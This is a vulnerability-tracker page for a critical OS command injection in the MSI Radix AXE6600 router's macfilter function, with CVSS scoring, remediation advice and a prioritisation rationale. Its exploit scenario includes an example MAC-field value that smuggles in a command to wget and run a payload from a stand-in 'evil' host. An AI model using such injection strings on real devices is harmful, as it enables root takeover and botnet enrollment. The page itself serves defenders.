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MSI Radix AXE6600 EUVDEUVD-2026-54835

| CVE-2026-71992 CRITICAL
OS Command Injection (CWE-78)
2026-08-08 VulnCheck GHSA-qj2h-vw2g-6rh7
9.3
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach router management interface
  2. Delivery
    Submit crafted macfilter MAC value
  3. Exploit
    Inject shell metacharacters into command
  4. Execution
    Router executes commands as root
  5. Impact
    Install implant or join botnet

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The specific prerequisite is network reachability of the router's management interface exposing the macfilter function on MSI Radix AXE6600 firmware v781521; the attacker crafts input to the macfilter (MAC access-control) feature to inject OS commands. Per the CVSS vector (PR:N/UI:N/AC:L/AT:N), no authentication, no user interaction, and no special attack requirements are needed once the interface is reachable. The primary limiting factor is exposure of that interface: if administration is confined to the LAN and WAN management is disabled, a remote internet-based attacker cannot reach the endpoint, reducing realistic exploitation to on-network adversaries. Exploitation is also constrained to the named firmware version v781521.

Impact

This is a genuine high-priority issue rather than a paper-tiger high score. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H) describes remote, unauthenticated, low-complexity exploitation yielding complete device takeover - the strongest possible combination of exploitability and impact. No EPSS score, KEV listing, or public POC is present in the supplied data, so there is no evidence of active exploitation yet; the risk is currently potential rather than proven. However, command-injection flaws in consumer router web interfaces are historically easy to reverse from a patch and are attractive for botnet recruitment, so the window between disclosure and exploitation tends to be short, and any operator running these devices should treat patching as urgent. The main uncertainty is exposure: the real-world blast radius depends heavily on whether the vulnerable management interface is reachable from the WAN or only the LAN, which the description does not specify - defenders should verify their own exposure rather than assume the CVSS network vector means internet-facing by default.

Exploit ScenarioDerived

An attacker who can reach the router's web management interface submits a MAC-filter entry containing shell metacharacters (e.g., a value like '00:11:22:33:44:55; wget http://evil/x -O /tmp/x; sh /tmp/x'); the macfilter handler passes this into a system shell, executing the attacker's commands as root. The attacker then installs a persistent implant or enrolls the device into a botnet. Given AV:N/AC:L/PR:N/UI:N, no authentication or user interaction is required, though exploitation depends on network reachability of the management interface.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 1.4% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 09, 2026

OS command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers inject shell commands through the router's macfilter function and gain root on the device. The flaw was reported by VulnCheck and carries a CVSS 4.0 base score of 9.3, reflecting network-reachable, no-privilege, no-interaction exploitation with full compromise of confidentiality, integrity, and availability. No public exploit is identified at time of analysis, though the low-complexity, unauthenticated nature makes weaponization straightforward.

RemediationAI

Patch available per vendor advisory: apply the fixed firmware from the MSI Radix AXE6600 support page at https://us.msi.com/Networking/RadiX-AXE6600-WiFi-6E-Tri-Band-Gaming-Router/support (an exact patched firmware version was not provided in the input and should be confirmed on that page); the VulnCheck advisory at https://www.vulncheck.com/advisories/msi-radix-axe6600-v781521-command-injection-via-macfilter provides technical detail. Until firmware is updated, restrict access to the router's administrative interface: disable any remote/WAN management so the web UI is not reachable from the internet (trade-off: loss of off-LAN administration), and place the management interface behind a firewall/ACL that limits it to a trusted management host or VLAN (trade-off: added operational overhead). Avoid using the MAC filter feature and change default administrative credentials to reduce the chance a remote attacker reaches the vulnerable macfilter endpoint, and monitor the device for unexpected outbound connections that could indicate botnet enrollment.

Affected VersionsENISA

Radix AXE6600 0 ≤v781521

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Technical ContextAI · show details

The vulnerability is a classic CWE-78 OS command injection in an embedded consumer/SOHO router. The macfilter feature is the MAC-address access-control list of the router's web/management interface; user-supplied MAC values (or associated parameters) are passed into an underlying shell command without adequate sanitization, so metacharacters such as ';', '|', '`', or '$()' break out of the intended command and are executed by the device's Linux shell. Because router firmware management daemons typically run as root, injected commands execute with root privileges. The CPE cpe:2.3:a:msi:radix_axe6600:*:*:*:*:*:*:*:* identifies the affected product, with firmware v781521 named in the description.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unauthenticated network-reachable command injection (PR:N/UI:N/AC:L) yielding root code execution gives full C/I/A impact; scope unchanged as the OS is the vulnerable component.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the macfilter function that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit the macfilter function to inject malicious commands and obtain root privileges on the underlying system.

Executive ViewAI

Why It Matters

The MSI Radix AXE6600 Wi-Fi 6E router contains a critical remote command injection vulnerability enabling unauthenticated attackers to seize complete control of the network edge device without user interaction. Organizations relying on this router model face immediate risk of network infrastructure compromise, enabling attackers to intercept all network traffic and potentially pivot to connected systems.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.4%
Top 31% exploitable
Prevalence
Low
niche consumer/gaming Wi-Fi router, limited enterprise footprint
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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